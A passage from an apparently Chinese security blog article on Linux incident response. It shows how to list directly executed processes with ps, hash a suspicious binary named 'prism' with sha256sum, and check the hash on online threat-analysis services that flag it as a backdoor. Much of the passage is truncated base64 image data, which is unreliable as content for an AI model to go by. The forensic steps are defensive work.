IiIiIiI9s7Z2+6ViIiIiIiIiK4ZHNggIiIiIiIior3FgQ0iIiIiIiIi2lsc2CAiIiIiIiKivcWBDSICAKjXXYefueMO/OZrX3vSVSEiIiIiIpLGgY1CNjwRwLFOuh4E24MQYh6efdIVkrBHdX7LhQv4+KtfjSd+5EfwT1/zGnzrhRdOukpERERERETSTuHAhsyAggUnEImOo4dT3G8kAJYTIHAszNquUke/ewhFUaAoRxiHW6pg3SrVefeDaK86fx6/oGn4E8PAv7n/fnRe/vL5a7/7ne/sriJEREREREQbOoUDGyUsB4How3CP4o6jguFER4eDG6eYhbahwp8OABjQ1AmOuyddp2vTOxoN/OZrX4s/ffBB/KODA9xz441Laf7900+fQM2IiIiIiIjWIzWwYTkBRODBK5wlkZlBkft1fEkay0EgBIToQIcKs19QTs8ExkdotAbz33YPh5hAR3flbICc12QeF2h7JcdlwxPJ81LwzbtEWavPc1T/IJN59DcOUr/duKy6JQYz7Cb00Ie7lXIk26Ku0rxEWdk2kCF1zW/uVefP4x++6lX4E8PA/3nffWi/7GUr0/+nBx/Ef3zgAfzO/ffjd+6/Hx++eBEfvngRv6BpeMuFC3jLhQt41fnzNdaQiIiIiIhoM6IsLCcQQggROFbu67YnhAgcYQECsIWXk1YmDeavBcKxcupiOSJIvGZ7IhJ4wguE8Oz4d55d+reIEgo79XqUBxJ1XF3nvN9ZwgkS+UqVJXeeLSdI1GdWViZ9TWWl2q2oPcoiLrtItk7lER1v/t9JtkVNYTlBqh6F193KOktc8xvEz9xxh/j04aF4vtncavzHBx4Qv3P//eJ37r9ffPjiRfHhixfFL2iaeMuFC+ItFy6IV50/X/v5ZzAYDAaDwWAwGIxZyD+KEo7RS8ySWLDR1IHJqIXo1S4uj0OoRjvxDbZMGgmGBjV0MRoAsD109AmGigKl50NToySuHwLaASxkZjMk/xYWnLaOyfAQ8yciBi2MJoDetFNFytQ5esRinhFajUS+FcoCsOI8A4ORi1A10J5VwGrDUEO4o1n6+sqqxaCFhqLgaBwiHB/N15uYDKNHiA638DjK6raoz6DVSNW/ezyZX3cn6Q0334yPv/r
<h1 id=toc-6>进程</h1>
<p>当定时任务里面没有恶意文件或者没有定时任务我们可以使用ps进行查看，绝大部分的执行文件运维管理员一般都不会直接./直接执行，很少有bash人员直接使用bash执行。</p>
<pre><code>ps -aux | grep "\./"</code></pre>
<p><a id=img23 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522095045-b4655a28-17dd-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA+EAAABRCAYAAAC9m6cOAAAs60lEQVR4nO2dPWzb2pbv/5RkS7Idm/KnnK/jxCc50sUMoOIWLmXc8jbC6aaTunQ03usHrm73AKt4eCkGoIvBTDHAg4CLKQdUcQfwALfQxRTUuyfnxokTW44Tk7Ljb0n7FSRliiIpSqY+nKwfsJBY3Nx77U/uxb25NgeAgSAIgiAIgiAIgiCIvhMYtgIEQRAEQRAEQRAE8b1ARrgrImSmQBKGrQfhG6IMxlhTZHHYChEAtHpRJFBXIwiCIAiCIL51RtQI92L8CpAUZjKoZJA9dU8QJCjDermRS4LjOHDcBopq5+CCpECRBBjtjYx2YtCIMtPboM242M++5BC3qz4EQRAEQRBER0bUCO+AIEFhW0iVNnSDisN2OYEsGeL3AvFVGny5gPX8sDXphIBMikdlNw8ghThfxk5u2DoRhIn8OgplHulX/o9896efEgRBEARB3C88G+GCpIApMmTH1WfLyrTtkmGHMIIEhTEwlkUCPNJbDulspoHiBmKm2WEuuY0yEsi5rljaXPOyPTkjd8iXCJmZy8VhdchDWu7lrOmvWCLX7rFs5b1zWv1CxFpCRfF1t9astuqmGLrKUrMtWctDlE35udMWZ5PhLa4hoVZQ6kFnSfKp/fiEe/nYrG6Kclu70OKw+W1oW8rNY4tR5u1t2VObd+07Xut0cOReF6Em1nzut732U4IgCIIgCMILzIsIksIYY0yRBNvroswYUyQmAAwQmWwT1ksYNK8pTBJsdBEkppiuiTLTUGQmK4zJov6bLHa8F1pAJrZc1+KASUd3ne1+E5ikmOL1lJa3chYkxaSPkZYlvE9ptdSbU310KYKk2NdNR9HKWRaN/Jn/f5tXQVJa8unYFvRys5aJubycsL3HRWdf2o9P0rl8bPqetT3Z3esQxrOIsqVd99CuLOVsp0/HNu/LmOCvaEUj2NdNWxj/2olTP/WiDwkJCQkJCQkJiat4C9hu/JnFZCA5hvcSxhzWYXJnnqybJ8ymybI53pY0Wib69kZYq1HSW77axUtaXsoZ7S8SrH/7mZb5Xl8m217Kyu1eXQdzngWJKW7Gn6Nx52KEm8pHMzY6h/Wa397aTx+lrXy8G+G3uvuQhzsZ4e31oxnbDka4Yzp+jQlDqse7vASxrdch5oeEhISEhISE5BsWH78JV1Ep3f6V360AfByprsO4I6zEm/8X1xJAeQc5AMgXUFL1eAslqHq8qTigIoWMoN9b2YW2iT2FOA8ksqxl62k20W2+ctgpm+Ox20rsNS0P5AsoqTxSGS0RIZMCr5ZQaO7M9zEtnVySA8fFbL4Nbf28wLwtXJRstiWLa0ioRfR3h6tla3c20XUb0/Dre3A/2o+f+FU+AJBDcruMRDaLeHEDyaHtXE4hztuUc0/x+DEmDIHcaxTVBNZEH+IaSD8lCIIgCIL4frmfjtk6kd9FBXGsCCLW4iUUSkA8BaTiPFTz7Bkqihtc07lbU7q0JjQjlQPHbaNsfMve9p2oP2kBeRRKKvhUBoJuKKqlAlrtY7/S6oCYATZv4y/Et5qGy9ruukUnAVImgXLB+rufCJAUzSBs5nm73GUchpG6hTRvGGRZJJBAtk/f/3prP94QJMXl+34/yseSnv5STGuP3wID6ju+k8d6oYxE5q7f5A+inxIEQRAEQXzf+GiE84inbv8SVuJAmyMrL2HcMa9w5XbKgOGQSMggxRtXSqioPOKZFcQru8gVSoivyVhLqCg1l4z1MCl0oBudc0gahk2LoySvaXlDW+lPISNmkOLNefI/LVdy6y2r47fGJNe+Kiq+Qrrv3sW1FVFzeZh3TnjDVIflbd3zPqAahmvXxpgf7cc7+fWYyXhMolXb3srHMYwoYysNFDc2UEQam0M7q6q9zXdf7/bx2HP3cawv5HZQ5tO4k6P0gfRTgiAIgiAIwtO+9U7fPdo5RrI6CvISBqZrzk6z3B2zNdNqxqF969n2zaTmKa7l+9dWx1UenDAJElMs5dLqgM5rWt7KWRMjPzbp+J6WP9+Ee3Uc5ZyWl2/CrfXj7KCrmVZH51O9fg/uc/vxRbyUj9XRn1MZWuJq803QpQzSMZtbOn6MCUOUTo4PO/Vlvx28kZCQkJCQkJCQ2Iq3gJ0NNpNhyJyMGy9hdGla1+2TaTfjqfV+i7HuaLDe0u65WmGSJLvrbPWm7VROrml5LWdTOLfJv49p3dkI7+Q8zVNaHh2ztdSFzERXh1WGsWZviGqGl8jknh1e+dx+/BAv5dMxjN6P7Rz99dpO7miEt44tRpn3YIQbujj2HY91OjRx91ju2pe76KckJCQkJCQkJCR3kqEr0IPoxtNITX5JnMTTS5NvUugIJ89yZyO8z/Hdozrttb99v/2UhISEhISEhGSwck8ds2nfzm4ja3JC1W+v0kRPCBIyCRVFcrVM9BNBgtwcADTnYu0OC78Pcq+LUBOZ7sZD6qcEQRAEQRADIzRsBe5CLsmBpowjTn4dse/REiIGS34drzMKGNvS/i5vg2s/U+/7oJc+R/2UIAiCIAhiYHDQlsQJgiAIgiAIgiAIgugz93Q7OkEQBEEQBEEQBEHcP8gIJwiCIAiCIAiCIIgBQUY4QRAEQRAEQRAEQQwIMsIJgiAIgiAIgiAIYkCQEU4QBEEQBHEP+W0wjH+emcG/TYzhd/1KRJTBmAyxX/ETBEF8h4yoES5CpnO/+4wASWGmc9YZFLsCFyQobmEs15nc38e0ICm+nA3vVzyDTGuQOntQxkO9t7cxazBRbr3eczscJaxlYxZFguAU7g59p7Ucaezshba2aK6rUcNoO3btqR96e2yrIzVG+aiPl3iGk/cA/mF6Cb9/OI+XXAOHg0iSIAiC8A02eiIymSlMEoatx7croswYUyQmtJQ5Y4ok3IYTJKYwxmTx9j5Bkk31IjK5JQ6BSdoN/dFblBljMhNb/u6hnfgVz7eqc0fxUu8CkxSrflobM7cnUba0OTvp2A7vg2hldJtXH/uOKFvKRmltKySe6qat7AWJKS11NEIiSExhClNMfUyrd+u47od4bKsjNUb5qI+XeIaU998GJ9lfVpNMeRpjfwgMqZxJSEhISHoVbwEFSWFMkZmsP+c1zBM9/cHcvGQ3mewQRp9st0MTSn9FqwfzxB3QDXNTnVj/9iTWyYjPOlsNNk9GXF/i+VZ17lE81rtdG+uUh57a4aiJl/Lxq+8IElNozPy2y0vXWZIUvf9oL71kWWkzwkXZ9ChtM9Dtx5aObbHt+qiNUYMce4eVd479gX/ClOQLVp4aY79t/q4vYkimincYPzvO61oaj1N70F6umhqZzctXhSlGGrLEbt8Xjcjzi4SEhGQI0t12dD6BeGkDHMfpkkROvyTKW0ijiA2OA8dto5zItm0Z7Rgmv46YcQ0qihvt6RB+kEehpCKRMW9bFLGWAMo7OYe/h00KcV5FqZBv+bVUUcGnMl1sv/QrnkGmNUid+4ggIWPTpvj0lss211Frh70gQMokoBZfD2AcEyFvpcGXd2jM7IoEMsPeO90Du4USkMpAEDJIoYSdSut1QVKwtsM1n9nblTS2WvqY9iywjiPiWrftddTGqO700T5FsNtC7iWe4eT9RTCK381OARfH+I/zG/y55SqPdKriOh+7Deo8r0Muqf22XXbQQoTMsogXzfdvApvW78d5VAp6PIk04vr/+fQr+s6cIIjvlu6McLWIzfW8zQV9olxYh3Y1h9dF6wPISxhiUOTXY+A2gc3mN2xr2OE4JI2nr7CCOFRU0M13q300NoQVxO3ysVux+XUA8QwyrUHq3BMu9S7Kt21nE9g0tzEAqBgv5Thw3AaK8WxrG+upHY4Y4iukbSbprfjRd7QJcaK8DS5JJrhn8uvYLKodXgaNKPkCSkhhczMNlAooWS+vx1r6W26nDMRXWp65+UIJKp9CxvhR
hash文件检测<br>
当我们无法获取到文件信息，可能是二进制我们通过Linux下载到本机可能客户不允许，这种情况我们可以使用sha256num进行hash值获取然后使用在线威胁平台进行hash样本分析。也可以使用浏览器去网上搜索该文件名，还可以使用Info来查看文件信息，发现存在后门shell</p>
<pre><code>sha256sum prism
prism Info</code></pre>
<p>使用sha256sum get执行文件hash值</p>
<p><a id=img24 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522095055-babbd5b4-17dd-1.png><img src="data:image/png;base64,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
使用virscan进行hash分析</p>
<p><a id=img25 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522095106-c1000774-17dd-1.png><img src="data:image/png;base64,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
<p>使用微步在线云沙箱进行分析</p>
<p><a id=img26 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522095113-c52b650a-17dd-1.png><img src="data:image/png;base64,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